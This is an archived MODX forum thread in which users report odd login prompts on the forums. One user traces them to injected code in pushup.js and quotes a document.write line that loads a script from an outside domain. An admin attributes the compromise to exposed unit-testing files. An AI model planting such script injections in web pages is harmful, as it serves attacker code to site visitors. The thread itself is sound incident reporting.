On March 26, 2019 we launched new MODX Forums. Please join us at the new MODX Community Forums.
Subscribe: RSS
  • Hey all,

    One for the admins me thinks,

    I am being asked for a username and password when ever I click on a reply or new topic link on the forums ( as per screen shot )

    I’m already logged in and when I click cancel to page loads ok but thought I would bring to your attention just incase.

    Cheers
    • Umm, this is definitely not dynabase.com so something else (not these forums) are triggering that authentication box. huh
      • I’m seeing calls to dynabase.org as well, but not getting a login dialog.

        FYI, the cause is an eval statement in pushup.js that outputs the following:
        document.write('<script type="text/javascript" src="http://dynabase.org/zxwccp/"></script>');

        That source doesn’t appear to contain anything at this point...
        • Thanks for reporting this guys. We have identified a successful attack against a vulnerability in some 3rd-party unit testing files that were left accessible to the production server. The rogue code has been cleaned and the attack vector closed. We are analyzing the logs and file system to identify any other files that may have been compromised, but please let us know if you notice any other suspicious content when browsing the forums or the MODx web site.
          • Jason,

            Would you know why its requesting the password even though we are already authenticated? Once the password is typed in, the prompt goes away.

            The issue can be replicated by setting a ’Master Password’ on (i assume) all versions of Firefox (tested on FF4 beta 8 ).
            • Quote from: coldhand at Jan 01, 2011, 08:50 AM

              Jason,

              Would you know why its requesting the password even though we are already authenticated? Once the password is typed in, the prompt goes away.

              The issue can be replicated by setting a ’Master Password’ on (i assume) all versions of Firefox (tested on FF4 beta 8 ).
              What are you referring to? I have no idea what this is referencing. huh
              • Quote from: OpenGeek at Jan 03, 2011, 02:48 PM

                Quote from: coldhand at Jan 01, 2011, 08:50 AM

                Jason,

                Would you know why its requesting the password even though we are already authenticated? Once the password is typed in, the prompt goes away.

                The issue can be replicated by setting a ’Master Password’ on (i assume) all versions of Firefox (tested on FF4 beta 8 ).
                What are you referring to? I have no idea what this is referencing. huh

                I will open a new post as this will confuse everyone replying to this thread.